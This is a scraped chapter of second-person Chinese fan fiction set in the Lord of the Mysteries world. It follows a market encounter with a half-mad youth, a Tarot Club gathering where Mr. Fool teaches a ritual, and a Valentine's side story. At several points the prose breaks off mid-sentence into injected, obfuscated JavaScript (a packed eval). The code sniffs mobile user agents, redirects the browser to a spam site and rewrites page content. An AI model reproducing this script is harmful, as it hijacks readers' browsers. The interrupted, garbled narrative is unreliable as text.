一个大约有公共课教室大小的空间展现在你面前,弥漫着一种混杂着草药、金属、陈旧纸张和微弱灵性波动的特殊气味。 空间里散落着一些人,有的直接在水泥地上铺块布就算摆起了地摊,上面堆满了奇形怪状的瓶瓶罐罐、颜色各异的矿石粉末、晒干的古怪植物、残缺的书籍或卷轴,甚至还有些看起来像动物零件或奇异金属片的东西。另一些人则行走于这些地摊之间,他们大多沉默寡言,蹲下身子仔细审视货物,或与摊主低声交流,间或传来几句关于价格和数量的比价声。 刚走入这间地下非凡市场,目光还在适应光线和扫视地摊,灵性感知中却敏锐地捕捉到左侧传来一阵异常波动。那波动与你自身的“怪物”灵性隐隐呼应,却又混乱驳杂,充满了痛苦与癫狂的意味。 你下意识地转头望去,看见了一个身影。那是一个脸色异常苍白、眼窝深陷的年轻人,看起来年纪与你相仿,或许还稍小一些。 他穿着洗得发白、打着补丁的破旧亚麻衬衣和码头工人常见的蓝灰色粗布长裤,站在市场的阴影角落里,身体微微发抖。 最引人注目的是他的眼睛——眼神极其涣散,瞳孔似乎无法聚焦,但深处却又燃烧着一种令人不安的、近乎疯狂的执念光芒。他嘴唇不断翕动,发出极其细微、只有靠近才能听清的破碎音节,仿佛在持续不断地念叨着什么。 “好高的灵感……甚至能引动我的灵性共鸣……” 你心中微微一惊。这种程度的自发灵性外溢和混乱,即使在非凡者中也属罕见,更像是一种天赋异禀却失控的状态。 就在你观察他的瞬间,他似乎也感应到了你的注视。那涣散疯狂的目光骤然与你对上。下一秒,他身体一颤,像是被无形的线牵引着,以一种半是梦游、半是失控狂奔的姿态,跌跌撞撞却速度极快地朝你冲了过来! 你还没来得及做出任何反应,他已经冲到你面前,“噗通”一声直接扑倒在你脚下,双手猛地抱住了你的小腿! “始祖!您是来拯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193723|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救我的吗,始祖!” 他仰起头,用那双疯狂又充满渴望的眼睛死死盯着你,嘶哑地喊出了令人瞠目结舌的话语。 “啊!” 你被这突如其来的“袭击”吓得惊叫一声,几乎是字面意义上地跳了起来! 一个跟你差不多大、浑身散发着混乱气息的男人突然扑过来抱住你的腿,这场景实在太诡异、太惊悚了! 惊吓之下,你的身体先于大脑做出了反应——下意识地抬脚,对着这个紧抱你不放的家伙踢了两下,试图挣脱。 “呃!” 被你踢中的男人痛呼一声,手臂的力道松了些,但他依旧伏在你脚边,抬起那张苍白的脸,眼神里的疯狂混合着一种诡异的虔诚与哀求:“始祖!请不要抛弃我……不要抛弃您迷途的羔羊……” “疯了!这人绝对疯了!” 你头皮发麻,又羞又恼。而你们的动静已经吸引了周围不少目光。几个看起来常在此地混迹的顾客指着你们,毫不客气地爆发出哄堂大笑: “哈哈哈哈哈!看呐!是小‘怪物’阿德米索尔!” “这小子终于也到了想找老婆的时候了?抱着人家姑娘的腿不放呢!” “可怜的小怪物,怕是又出现幻觉了吧?哈哈哈哈!” 肆无忌惮的嘲笑声像针一样刺入你的耳朵。羞愤和一股无名火瞬间窜起,你气得狠狠瞪向那个笑得最大声、说话也最刻薄的家伙。 就在你的目光如同实质般刺中那人的瞬间—— “哎呦!” 那个正仰头大笑的家伙笑声戛然而止,整个人仿佛被什么东西绊了一下,猛地向后仰倒,后脑勺“砰”地一声结结实实磕在了一块凸起的石头上!鲜血立刻从他后脑渗出,他捂着脑袋发出痛苦的呻吟,笑声变成了哀嚎。 周围的笑声像被掐住了脖子,瞬间安静下来。不少人看向你的眼神带上了惊疑不定。 你也是一愣,随即立刻收回了目光,心中惊疑:“这……是我做的?还是巧合?” 但眼下不是探究的时候。 你深吸一口气,强迫自己冷静下来,对付脚下这个更大的麻烦。你快速揉了揉右眼眶,再次开启“虚视”,目光扫过刚才那几个哄笑的看客,从他们零碎、短暂的“过去”画面中,捕捉到了关于脚下这个疯癫年轻人的信息碎片—— 阿德米索尔,一个孤儿,绰号“怪物”。他天生灵感高得离谱,甚至可以说是一种诅咒,经常能看见不该看见的恐怖景象,听见不该听见的诡异低语,因此长期处于半疯癫状态,胡言乱语是常态。 就在这时,伏在你脚下的阿德米索尔似乎也感应到了你刚才那短暂而隐秘的“窥视”,他身体剧烈地颤抖了一下,眼中疯狂的光芒似乎褪去了一丝,多了点清明,或者说,是更深层次的恐惧与敬畏? 他手脚并用地向后爬开了一点距离,但依旧跪伏在地,仰望着你,声音颤抖但清晰了一些:“始祖,请、请让我跟随您。我感觉到了,您身上有‘本源’的气息……它能平息我脑海里的声音……求您……” 跟随?本源的气息?平息声音? 你看着他那混合着绝望、哀求与一丝诡异依赖的眼神,又瞥了一眼周围那些噤若寒蝉、不敢再轻易嘲笑但依旧偷偷打量这边的目光。你知道,不能再在这里纠缠下去了。 你定了定神,用尽量平静但不容置疑的语气,对阿德米索尔低声道:“起来。走,到人少的地方去说话。” 60. 第59章 阿德米索尔 你本来打算来这非凡市场,是想碰碰运气,看看有没有可能白剽几张罗塞尔大帝的日记——不买,纯看,用记忆力记下来就行。这可比花费大价钱购买或四处搜罗轻松多了。谁能想到,运气没碰到,却碰上了阿德米索尔这个大麻烦。 这家伙居然还想跟着你?虽然他说的是“追随”,但你有什么好追随的?一个刚转正的序列9“怪物”?你自己还在摸索扮演法呢!而且,阿德米索尔一看就社会化程度极低,沟通都成问题,那瘦弱的身板也干不了什么体力活,完全就是个累赘。 你最初的算盘打得很好:先把他带到没人的小巷,警告一番,问清楚他嘴里“本源”是什么,为什么叫自己“始祖”,然后就想办法甩掉他。要是他还敢黏上来,就掏出枪吓唬他一下!一个疯子,总该怕枪吧? …… …… …… ……怎么吓唬不走啊! 你有些崩溃地看着身后隔着十几步远,但就是亦步亦趋、像条被丢弃又自己找回家的狗一样跟着你的阿德米索尔。 你刚才已经试过了所有温和的恐吓手段,最后甚至真的拔出了左轮,枪口指着他,厉声让他滚开。 结果呢?这家伙只是缩了缩脖子,眼中闪过一丝畏惧,但脚步只是停了一会,在你收起枪转身要走时,又默默地跟了上来。 他看向你的眼神里,疯狂褪去后,竟然透出一种奇异的清澈和执拗,没有恶意,没有算计,只有一种近乎本能的依赖和祈求。 你也是有自己的道德准则的,让你面对一个没有明显恶意的可怜人,实在是没法真的扣下扳机。 盘问也毫无收获。问他“本源”是什么,他茫然摇头,只说“感觉”。问他为什么叫“始祖”,他也说不清楚,只是重复“您身上有源头的气息,能让我安静……”。 你用“虚视”快速扫过他近两天的记忆,看到的只有码头搬运重物的艰辛、独自蜷缩在角落忍受幻听幻视的折磨、被路人嘲笑的麻木……除了加深“这是个悲惨的可怜虫”的印象,没有任何关于他异常状态来源的有效信息。 你对窥探他人(尤其是这种可怜人)的悲惨人生细节没有兴趣,很快便收回了目光。 最后,站在一条相对僻静的小巷口,你看着远处那个单薄、固执的身影,无奈地叹了口气。你确定周围没有其他人注意这边,终于远远地,带着点自暴自弃的意味,朝他招了招手。 “过来。” 阿德米索尔的眼睛瞬间亮了,几乎是小跑着冲到你面前,抬头看着你,那姿态……真的有点像等待指令的大型犬。 “他们叫你‘怪物’,是吧?” 你没好气地问。 他用力点了点头。 “巧了,” 你扯了扯嘴角,指了指自己,“我也是‘怪物’。” 看到对方瞬间瞪大的、充满难以置信和狂喜的眼睛,你立刻板起脸泼冷水,“不过,我可不随便收人做小弟,尤其是你这种……看起来就没什么用的。你得体现你的价值才行。” “价值!有价值!” 阿德米索尔立刻急切地开口,语速快而凌乱,“我可以在码头做工!搬东西!我力气还可以!我、我还能做家务,打扫,跑腿!我……我经常在码头和市场这边,可以帮您看东西,打探消息!我耳朵有时候很灵……” 他努力推销着自己,苍白的脸上因为急切泛起不健康的红晕。 你看着他那风一吹就倒的瘦弱身板,对他“力气还可以”“能做工”的说法表示高度怀疑。至于打探消息……以他这精神状态和社交能力,怕不是反而会打草惊蛇。 但看着他眼中那点好不容易凝聚起来的微光,以及那份想要抓住点什么、摆脱混乱的渴望,你心里那点不耐烦和嫌弃,终究还是化为了更复杂的情绪。 “唉……” 你再次叹了口气,揉了揉眉心,“听着,阿德米索尔。我不用你做工,也不用你现在替我打探什么。” 你看着他瞬间黯淡下去的眼神,快速补充道,“你先继续在非凡市场那边待着,像平时一样。如果看到什么特别异常的人,或者听到什么你觉得……很不对劲的低语、消息,可以试着记下来。” 这至少是个相对安全,又能发挥他那过高灵感(虽然常常是负担)优势的任务。 “真、真的吗?” 他眼中重新燃起希望。 “但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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你不再多说,转身快步离开小巷,这一次,阿德米索尔没有再跟上来。你回头瞥了一眼,看到他站在原地,望着你的方向,然后慢慢转身,朝着恶龙酒吧的方向走回去,脚步似乎比之前稳了一些。 “这叫什么事啊……” 你揉了揉额头,感觉这趟“白剽日记”之旅真是赔了夫人又折兵,日记没影儿,反而莫名其妙捡了个烫手山芋,还不一定甩得掉!不过,教他冥想,或许……也不算坏事?至少,希望他能稍微好过一点吧。 你摇摇头,将这些杂念抛开,开始思考下午更重要的事情——塔罗会。得赶紧回家做准备了。 61. 第60章 第二次塔罗会 回到贝西克特街的新家,略有些匆忙地和妈妈打了个招呼,说自己需要安静休息一会儿,便钻进了那间目前还空荡荡、只铺了床褥的卧室。 房间比铁十字街的旧屋宽敞明亮得多,阳光透过窗户洒在地板上,你心里盘算着,一定要添置一张属于自己的书桌和一个大书架。 你闭上眼,集中精神,在脑海中仔细回忆、勾勒着在老尼尔那里记忆下的三页罗塞尔大帝日记上的图形。那些扭曲优美的线条、神秘的符号组合……如果罗塞尔大帝写的是鲁恩文或者因蒂斯文,以你现在的记忆力和专注,记下十页八页不在话下,可惜全是看不懂的密文,只能像临摹图画一样,硬生生记下三页的大致轮廓和关键符号排列。 希望愚者先生能看得懂吧。 “等会儿聚会,到了愚者先生阅读完日记的分享环节,或许可以分享一下雪伦夫人的事?序列6的‘欢愉魔女’潜伏在廷根上流社会,这情报应该有点价值吧?” 你默默想着,既能体现自己的价值,也能侧面提醒塔罗会的成员们注意,如果他们在廷根附近的话。 当时钟的指针悄然指向某个无形的刻度,熟悉的、不容抗拒的力量降临了。 纯净的白光将你彻底吞没,没有痛苦,只有一阵轻微的抽离感。当光芒退去,你已再次置身于那片无垠的灰雾之中,脚下是亘古不变的巨大石板,前方是巍峨恢弘的古老宫殿。 你似乎是第一个到达的。空旷的神殿内,只有你,以及高踞青铜长桌最上首、笼罩在比周围雾气更加浓郁深邃的灰雾之后、仅能看见模糊人形轮廓的愚者先生。他仿佛亘古存在于此,静静注视着一切。 紧接着,两道深红色的光芒在不同位置先后亮起、凝聚。光芒散去,显露出“正义”小姐和“倒吊人”先生的身影,他们各自出现在属于自己的高背椅上。 “嗯?为什么只有我是白光,他们俩是红光?” 这个细微的差别让你心里掠过一丝疑惑,但暂时无法深究。 你的目光下意识地被“正义”小姐身后那巨大的、似乎由星光或某种光辉凝聚而成的巨龙图案所吸引。它盘踞在“正义”的高背椅后方,威严而神秘。 你很想看看“倒吊人”先生背后有没有图案,可惜他坐在你对面的位置,高背椅的椅背挡住了视线。 “那我椅子后面有没有图案呢?” 你心里痒痒的,非常想扭头或者起身看看,但在愚者先生面前,这种不够优雅和庄重的举动是绝对不敢做的,只好强行按捺住好奇心。 就在这时,端坐上首的愚者先生那恢弘平淡、仿佛来自时光尽头的嗓音缓缓响起,他微微转向“正义”小姐的方向: “恭喜你,‘正义’小姐,你已经成为一位非凡者了。” “正义”小姐似乎愣了一下,随即优雅地在高背椅上微微欠身,声音里带着掩饰不住的欣喜和感激:“这离不开您的指引和‘倒吊人’先生的帮助,感谢您,‘愚者’先生。” 她也向“倒吊人”先生点头致意。 “倒吊人”也低沉回应:“这是公平的交易,恭喜你,‘正义’小姐。” 简单的祝贺后,愚者先生没有在这个话题上继续。他姿态闲适地后靠,右手食指习惯性地、轻轻敲了敲青铜长桌的边缘,然后,目光仿佛穿透灰雾,扫过你们三人,用那听不出情绪的平淡语调,含笑开口道: “女士们,先生们,下午好。” “在开始我们例行的交流之前,我想先确认一下——你们之中,是否有人,找到了罗塞尔的日记?” 听到愚者先生开门见山的询问,你没有立刻开口。在这种场合,枪打出头鸟的道理你还是懂的。谁知道日记的数量会不会被解读为某种“重视程度”或“能力”的指标?你打算先看看“正义”和“倒吊人”怎么说。 果然,一向活泼主动的“正义”小姐这次也没有第一时间回应,她金色的头发在灰雾后似乎微微偏转,先望了对面的“倒吊人”先生一眼,像是在观察。 “倒吊人”先生那魁梧的身影似乎不自觉地坐得更直,收敛了肢体动作。他沉默了几秒,仿佛在组织语言或评估价值,然后才用那惯有的、低沉而平稳的声线开口道: “我近期发现了两页罗塞尔大帝的日记,并记住了它们的内容。” “正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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你手中的钢笔仿佛有了自己的生命,带动着你的手指,在羊皮纸上流畅地滑动起来。笔尖过处,一行行与罗塞尔日记原件几乎一模一样的奇特符号被“拓印” 在了纸上。 你的字迹因为罗塞尔大帝日记的图形复杂而显得有些歪斜和生涩,远不如书写鲁恩文时那般秀美飘逸,但好歹是把图形“画”出来了。 整个过程安静无声。不到一分钟,你便停了下来。 面前羊皮纸上的罗塞尔日记已经完成。 你放下笔,静待“愚者”先生的下一步指示,同时用眼角的余光留意着“正义”和“倒吊人”的动作。他们似乎也刚好完成。 62. 第61章 愚者先生我也想学中文! 短暂的寂静笼罩着灰雾之上的殿堂,只有愚者先生翻阅羊皮纸时近乎无声的动作。他看得似乎很专注,时间仿佛都在那专注的凝视中放缓了流速。当然,对于你这种在神明眼皮子底下只能无所事事发呆的人来说,这一分一秒就有些无聊又难熬了。 过了一会儿,愚者先生放下了手中的羊皮纸——你注意到他先看的是“倒吊人”贡献的两页,然后是“正义”的一页,最后才扫过你那两页。 他抬起头,笼罩在浓郁灰雾后的面容看不真切,但声音里带上了一丝几不可察的、仿佛回味般的温和: “抱歉,看得有些入迷了。” “正义”小姐立刻优雅地回应,她的声音里带着恰到好处的理解与向往:“我能够理解这种感受。罗塞尔大帝的智慧令人神往。我期待着有一天,或许能从您这里,交换到这些日记中隐藏的知识与秘密。” “正义”小姐真会说话啊,你心里默默感叹,感觉自己就算附和也只会说“我也一样”。 “那是需要付出代价的。” 愚者先生含笑回应,目光似乎在“正义”小姐身上停留了一瞬,又顺势扫过了沉默不语的你和另一侧的“倒吊人”。 这句话既是对“正义”的回应,也是对所有成员的提醒——在塔罗会,知识与力量,皆有其价。 就在这时,你心中一动,觉得这是个好机会,学着“正义”小姐之前的礼仪,略微前倾身体,举起右手示意,然后用一种混合着强烈好奇、崇拜与求知欲的语气开口道: “尊敬的愚者先生,请允许我冒昧提问。我……我对罗塞尔大帝的智慧也同样无比崇敬。看到这些日记,我更加渴望能够理解这位伟大先贤的思想。请问,如果想要向您学习解读这些……密文文字,需要付出怎样的代价?” 你没说假话,你是真的好奇,也是真的想学! 不仅仅是为了理解日记内容满足好奇心,更重要的是,你想起了之前那个清晰的梦境——那个柔软明亮又昂贵的房间,那个塞满书籍的书架,那些完全看不懂的文字! 你现在仔细回想,那些文字的“感觉”,似乎和罗塞尔大帝的密文有某种神似之处!如果那也是罗塞尔密文,或者类似的文字,那不懂罗塞尔密文的你岂不是守着一座宝山而不知其门? 不行,我必须学会解读! 愚者先生似乎因为你这直接了当、甚至有些莽撞的提问迟疑了一下,笼罩他的灰雾似乎有极其细微的波动。 不过这肯定是我的错觉,一位古老的存在怎么会因为这种问题惊讶?果然几个呼吸,他就用那平淡恢弘的嗓音,淡然地说道: “想要学习罗塞尔大帝的密文文字……” 他略微停顿,仿佛在衡量,“以你目前的贡献,还远远不够。” 你的心微微下沉。 但紧接着,愚者先生话锋一转,补充道: “不过,如果你真的对此抱有如此强烈的渴望与信念…… 我可以根据你未来为塔罗会、为收集罗塞尔大帝日记所做出的贡献,酌情给予你相应的指导。” 意外之喜! 你几乎是立刻接口,语气带着压抑不住的兴奋和表忠心的急切:“感谢您的慷慨,愚者先生!我一定会更加努力,为您收集更多罗塞尔大帝的日记!肝脑涂地,在所不辞!” 你差点想说“上刀山下火海”,但觉得有点过于夸张了,而且在已知的文学中并没有这种用法,“肝脑涂地”都是你临时造出的词,你担心自己又不小心胡乱造词说话,及时刹住了车。 愚者先生似乎也被你这过于热情的表态弄得沉默了一瞬(也许又是错觉?),然后才用听不出情绪的声音回应:“……为我多收集罗塞尔日记就好。” 你和愚者先生这番关于“密文学习”的对话,似乎让一旁的“正义”小姐和“倒吊人”先生都有些震动。他们大概没想到,“命运之轮”会对罗塞尔密文执着到直接向愚者先生求教的地步,而愚者先生竟然真的给出了有条件的应允。 短暂的沉默后,“正义”小姐似乎也从这场对话中获得了勇气,或者她本身也积攒了疑问。她双手优雅地交握,置于身前,用她那清脆的嗓音,问出了另一个关键问题: “尊敬的愚者先生,关于您上次提及的‘扮演法’……我仍然有些困惑。您所说的‘扮演’,究竟是指一种心态上的模拟,还是行为上的效仿,亦或是更深层次的、对魔药名称所代表‘意象’的契合与融合?能否请您再为我们解惑?” 这是个关键问题!你立刻竖起耳朵。 愚者先生似乎对这个问题早有预料,他的声音恢复了那种恢弘而平和的语调,慷慨地给予了清晰而富有深度的解答,阐述了“扮演”的本质是贴近魔药名称象征的“精神”,是理解、契合而非浮于表面的模仿,是消化而非吸收…… 你认真聆听着,同时心中暗喜:“太好了,‘正义’小姐问了这个问题!这样,我回头将扮演法告诉队长他们时,也可以顺理成章地说是从生命学派听来的,真是完美的掩护!” …… “倒吊人”先生分享了关于安提哥努斯笔记的信息,“正义”小姐似乎有了一只“观众”途径的非凡动物,你吸收着这些信息,虽然不确定未来有没有用,但总之先记着。 这时,愚者先生那笼罩在浓郁灰雾后的身形似乎微微动了动,他几根手指如同弹奏无形琴键般,在古老的青铜长桌边缘轻轻敲击了几下。随即,他那温和中带着不容置疑威严的声音响起,将你们的注意力重新拉回: “我之前曾提过,” 他缓缓开口,嘴角似乎带着一丝极淡的笑意,“会进行一些尝试,让你们能提前请假,无需担心周一下午三点必须身处不被打扰环境的限制。” 来了!你精神一振,集中全部注意力。这意味着以后参加塔罗会可以更加灵活、隐蔽,大大降低了暴露风险!旁边的“正义”小姐也明显坐直了身体,眼中闪烁着好奇与期待。“倒吊人”虽然依旧沉稳,但目光也紧紧锁定了上首的身影。 “愚者”先生继续用那平淡却清晰、仿佛在陈述某个既定事实的语气说道:“你们可以在各自空闲的时间里,尝试一个简易的仪式魔法。无需太正式复杂的准备,只需要一个相对私密、不被人打扰的环境即可。” 他开始详细描述仪式的步骤,语速平缓,确保我们能记住: “首先,准备一张可以作为祭台的桌子或平台。在祭台的四角,分别摆放四根全新的蜡烛,最好选用带有檀香气息的那种,有助于稳定灵性。” “在左上方的蜡烛旁边,放置一份普通的白面包;在右上方蜡烛旁,放置一份费内波特面;左下方对应海鲜饭;右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193726|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下方则用迪西馅饼。” “使用一把银制的小刀,在祭台周围象征性地划出一个圆圈,无需实际刻痕,借此在灵性层面制造一个初步的、密封的纯净环境。” 他顿了顿,似乎在确认我们是否跟上,然后继续道: “接着,准备仪式精油。取月亮花、金薄荷、深眠花、金手柑和岩玫瑰,混合后进行蒸馏,萃取出精油。向那四根蜡烛的烛身上,各自滴上一滴这种混合精油。” 你一边在脑海中飞速记忆这些细节:蜡烛、四种象征不同领域的祭品、银刀、复杂的精油配方,一边心中暗暗评估:“虽然愚者先生说是简易仪式,但这祭品的象征——谷物、面食、海鲜、肉食覆盖了基本食物范畴,还有精油的搭配涉及了宁静、思维、灵性、净化等多重意向,可一点都不简单……这更像是一个精心设计的、指向明确的沟通仪式框架。” 值夜者的基础训练让你本能地意识到这个仪式背后蕴含的精密灵性原理。 “正义”小姐听得非常专注,灰雾后的身影似乎在做着笔记。末了,她按捺不住好奇,轻声问道:“那么,愚者先生,对应这个仪式的咒文是什么呢?没有特定的咒文,仪式无法指向明确的目标吧?” 问得好!你也竖起了耳朵。仪式的核心之一,就是正确的指向。 笼罩在浓郁灰白雾气里的愚者先生闻言,再次用那修长的手指,有节奏地、轻轻地敲击了一下长桌的边缘。然后,他用一种平淡到近乎没有情绪波澜的语调,缓缓吐出了一段用古赫密斯语诵念的语句: “不属于这个时代的愚者啊,” “你是灰雾之上的神秘主宰,” “你是执掌好运的黄黑之王……” …… 三段! 三段式的描述! 你的心脏在听到第一个词时,就仿佛被无形的手攥紧了!作为在老尼尔教导下系统学习过神秘学基础、尤其是仪式魔法相关知识的值夜者,你太清楚这种“三段式指向描述”在正统仪式魔法里代表着什么了! 在七大正神教会的经典记载和高级仪式中,唯有在指向那七位高踞序列顶端、俯视着整个世界、掌控着不同权柄的古老存在——真神时,才会使用如此规格的、带有强烈象征意义和唯一指向性的三段式尊名!那是凡人沟通神灵时,必须使用的、最崇高也最谨慎的咒文! “绯红之主,隐秘之母,厄难与恐惧的女皇……” ——这是黑夜女神的尊名! “空之王,海之皇,天灾君主……” ——这是风暴之主的尊名! 而现在,愚者先生用以指向自身的这段赫密斯语尊名——“不属于这个时代的愚者,灰雾之上的神秘主宰,执掌好运的黄黑之王”,其格式、其分量、其蕴含的意象与权柄描述,几乎与那七位正神的尊名规格完全等同! 这意味着什么? 你的大脑瞬间一片空白,只剩下本能的、深入骨髓的颤栗。先前对愚者先生位格的种种猜测、敬畏与揣摩,此刻在这三段式尊名面前,似乎都被印证。你甚至能感觉到自己灵性在不受控制地微微震颤,那是低序列生物面对更高层次存在本质时,最本能的恐惧与敬畏。 你强迫自己低下头,不敢让目光泄露丝毫内心的惊涛骇浪,手指在长桌下紧紧攥住。耳边似乎还能听到自己血液奔流的声音。 63. 第62章 汉字 汉语 “最迟不超过周三,我希望你们能找空闲完成这个仪式。” 愚者先生用那平淡恢弘的声音为这项重要的尝试定下了期限。 “遵循您的意志。” 你立刻收敛了因那三段式尊名和种种猜测而激荡的心绪,与“正义”小姐、“倒吊人”先生一同恭声回应。 接下来的自由交流环节相对简短。大家分享了各自区域内的一些传闻,简单交换了关于几种常见灵性材料的信息后,聚会便进入了尾声。 愚者先生的目光扫过“倒吊人”和“正义”,灰雾后的嘴角似乎依旧含着一丝若有若无的笑意:“如果没有别的事情需要分享,那今天的聚会就到这里吧。” “遵循您的意志。” 你们三人再次齐声回应。 紧接着,你看到“正义”小姐和“倒吊人”先生的身影迅速变淡,化作深红色的光芒,消失在了巍峨宫殿的深处。青铜长桌两侧,瞬间变得空荡。 整个宏伟寂静的灰雾殿堂内,只剩下你和高踞于长桌最上首的愚者先生。 你的心脏猛地一跳。一种莫名的紧张感攥住了你。 “愚者先生单独留下我?为什么?是我刚才提问关于学习密文太冒昧了吗?还是他看穿了我内心那些大不敬的猜测?” 各种念头如同沸腾的水泡在你脑海中翻滚。 你强作镇定,但声音还是带上了一丝不易察觉的紧张,向着那浓郁灰雾后的身影恭敬行礼,试探着问道:“尊敬的愚者先生,您……是还有什么事情要吩咐我吗?” 愚者先生没有立刻回答。他只是静静地坐在那里,笼罩周身的灰雾仿佛变得更加浓郁、更加深沉,那后面投来的目光似乎能穿透一切伪装,直视你灵魂最深处的想法。 这种沉默的凝视带来了巨大的压力,让你几乎要喘不过气。 就在你快要承受不住这无声的压力时,愚者先生那平和而恢弘的声音终于响起,直接切入了你心中最在意的话题: “你……真的想学习罗塞尔使用的那种文字?” 你心中一紧,连忙用力点头,语气带着尽可能的真诚和决心:“是的,愚者先生!我非常渴望能够读懂罗塞尔大帝留下的知识!我会努力为您收集更多的日记,积累足够的贡献!” 尽管嘴上说得坚定,但你心里其实一点底都没有。 贡献怎么算?多少才算够?愚者先生对此又到底是什么态度?你完全摸不透。 甚至,一个更惊悚的念头冒了出来:“如果罗塞尔大帝的密文,是只有愚者先生这个层次的神明才有资格阅读和使用的某种神秘学文字,那我一个序列9的小‘怪物’想要学习,岂不是一种僭越和大不敬?” 想到这里,你后背不禁渗出一层细密的冷汗。 就在你内心七上八下之时,愚者先生似乎看穿了你的不安与疑虑。他轻轻敲了敲古老的青铜长桌边缘,发出低沉而悠远的回响,打断了你的胡思乱想。 他没有肯定你的决心,也没有斥责你的妄想。他只是再次用那修长的手指,敲击了一下古老的青铜长桌边缘,发出了一声清脆而悠远的回响。 “现在,还不是你知晓其中含义的时候。” 他的声音依旧平淡,却带着一种不容置疑的威严,“等到合适的时机,我自然会告诉你该如何解读这种文字。” 这句话像是一个大饼,既没有完全拒绝,也没有给出明确的时间,仿佛在迷雾中留下了一个遥远的承诺。你心中既有淡淡的失落,也有一丝至少没有被直接否定的庆幸。 就在这时,你熟悉的那片柔和而无法抗拒的白光再次从你脚下涌现,瞬间包裹了你的全身,强烈的抽离感袭来——你知道,与愚者对话的时间结束了,你要被送回去了。 就在意识即将彻底抽离灰雾之上的瞬间,你不知从哪里涌起一股勇气,或许是那“怪物”途径带来的直觉,或许是内心深处某种难以言喻的渴望驱使,你下意识地、向着那即将模糊的巍峨身影发出了最后的祈求,用尽最后一丝清醒的意念: “愚者先生!请至少、请至少告诉我……这种文字……它叫什么名字?!” 白光彻底淹没了你。失重感与回归感交织。 下一刻,你的视线恢复了清晰,重新看到了自己那间尚未布置完毕、略显空荡的新卧室。午后的阳光透过窗户,在地板上投下斑驳的光影,一切都和你离开时一模一样,仿佛那场神秘的聚会只是一场短暂的梦境。 但你的耳边,或者说,是你的脑海深处,清晰地回荡起了一个平静无波、却仿佛蕴含着无尽时光与秘密的声音,那声音如同投入平静湖面的石子,激起一圈圈涟漪,久久不散: “在属于我的时代……” “这种文字,被称为‘汉字’。” “这种语言,名为‘汉语’。” !!! 这两个陌生的词汇,如同两道撕裂苍穹的闪电,猛地劈入了你的意识深处!又像是一把尘封了万古的钥匙,猝不及防地撬动了某个你从未知晓、却仿佛一直存在于灵魂深处的锈死锁孔! 一道无声的惊雷在灵魂最深处炸响!你的心脏像是被一只无形巨手狠狠攥住,骤然停止了跳动! 全身的血液似乎在瞬间凝固,又在下个瞬间以数倍的速度疯狂奔涌!视野里只剩下卧室熟悉的天花板,但大脑却一片空白,耳边嗡嗡作响。 一种难以形容的、庞大到无法承载的震颤从你的灵魂核心爆发开来!它无关乎理智,超越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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你睁开眼睛,感到眼皮沉重,心头依旧萦绕着一种难以言说的空落和悲伤,但比起下午那阵突如其来的崩溃,已经平复了许多。 你恍惚地坐起身,摸了摸有些红肿的眼睛,记忆如同潮水般缓缓回流。灰雾之上的聚会,愚者先生的话语,那场毫无征兆的痛哭……一切都像是一场离奇的梦,但残留在心中的那份沉重与酸涩,以及衣服上未干的泪痕,都在提醒你那是真实发生的。 你深吸一口气,用手背用力擦了擦眼睛,努力让自己的声音听起来正常一些:“来了,妈妈!” 说完,你站起身,整理了一下皱巴巴的衣服,推开了卧室门。 64. 2.14情人节番外[番外] 某个世界线的某个时间线。 周二的上午,值夜者小队难得的清闲。弗莱和洛耀外出巡逻,老尼尔在地下的武器区值守,西迦在整理档案。但是,依旧有几个值夜者即使没有工作也坚守在公司,于是,接待厅那张旧沙发上,自然而然地又展开了一场“斗邪恶”大战。 “对K!没人要吧?那我可要走完咯!” 你得意地甩出最后两张牌,成功压制了上一轮嚣张的伦纳德,在他“啧”的不满声中,赢得了这局的胜利,顺便收获了来自克莱恩一个略带感谢的眼神(因为他刚才被伦纳德打压得很惨)。 罗珊在一旁负责洗牌兼解说,笑声不断。在这轻松的气氛中,你眼珠一转,看见邓恩队长也从办公室里走了出来,来到大厅喝咖啡。队长在,你觉得是时候分享那个重磅信息了。 你清了清嗓子,用足以让刚走出办公室、正端着咖啡杯的邓恩·史密斯队长也能听清的音量,“高调”宣布: “咳咳!各位,安静一下!我宣布,我获得了一条极其重要的、关乎我们消化魔药、提升实力、避免失控的绝密信息——” 你故意拖长了音调,成功吸引了所有人的目光,让队长的脚步停了一下。 “——它的名字叫做,‘扮演法’!” “噗!咳咳咳!” 正在喝水的克莱恩猛地被呛到,捂着嘴咳嗽起来,脸都涨红了。他抬起头,褐色的眼睛里满是惊愕。 